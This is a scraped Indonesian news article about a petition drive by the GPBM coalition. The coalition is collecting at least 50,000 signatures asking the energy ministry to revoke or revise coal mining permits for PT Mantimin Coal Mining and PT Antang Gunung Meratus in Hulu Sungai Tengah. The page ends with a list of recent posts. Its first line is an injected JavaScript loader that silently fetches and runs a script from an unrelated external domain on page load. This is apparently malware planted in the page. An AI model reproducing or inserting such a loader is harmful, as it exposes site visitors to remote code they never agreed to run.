(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

GPBM Target Kumpulkan 50 Ribu Tanda Tangan Petisi Penolakan Tambang


BARABAI, Gerakan Penyelamatan Bumi Murakata (GPBM) mengumpulkan tanda tangan masyarakat Hulu Sungai Tengah (HST) dalam petisi penolakan tambang batubara oleh PT. Mantimin Coal Mining (MCM) dan PT Antang Gunung Meratus. Petisi ini mereka buat sebagai bentuk tuntutan permintaan kepada Kementerian Energi Sumber Daya Mineral (ESDM) untuk mencabut atau merevisi Surat Keputusan Menteri Energi dan Sumber Daya Mineral RI No. 441 K/30/DJB/2017 Tanggal 4 Desember 2017, dengan mengeluarkan wilayah perjanjian karya pengusahaan dan pertambangan batubara  (PKP2B) PT Mantimin Coal Mining (PT MCM) dari wilayah HST.

Selain itu, mereka juga meminta KemenESDM untuk merevisi/mencabut PKP2B No. 014/PK/PT-BA-AGM/1994 tanggal 16 Agustus 1994, dengan mengeluarkan wilayah PKP2B PT Antang Gunung Meratus.

Sekretaris GPBM HST, M Aini menyampaikan, petisi ini sudah dimulai semenjak 21 Januari 2018 yang dilaksanakan pada hari Sabtu dan Minggu di Lapangan Dwi Warna Barabai. Namun semenjak tanggal 26 Januari 2018, didirikan posko sementara yang siap selama 24 jam untuk menggalang tanda tangan masyarakat.

“Kami menampung aspirasi penolakan masyarakat HST yang memprotes keras terhadap izin tambang MCM. GPBM sendiri merupakan gabungan dari berbagai LSM, OKP, dan masyarakat lainnya.  Untuk hal tersebut, akhirnya didirikan posko sementara yang berada di simpang 10 Barabai, atau berdekatan dengan Kantor Badan Pusat Statistik Kabupaten HST,” katanya.

Menurut Aini, tanda tangan yang akan dikumpulkan minimal sebanyak 50 ribu dan akan diteruskan sampai kira-kira setengah dari jumlah penduduk HST.  Tanda tangan petisi bisa dilakukan langsung di posko sementara, atau ada juga perwakilan yang datang mengambil blanko tanda tangan yang nantinya ditandangani oleh masyarakat tanpa langsung datang ke posko.


Page: 1 2

Desy Arfianty

Recent Posts

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

42 menit ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

4 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

6 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

6 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

6 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

6 jam ago

This website uses cookies.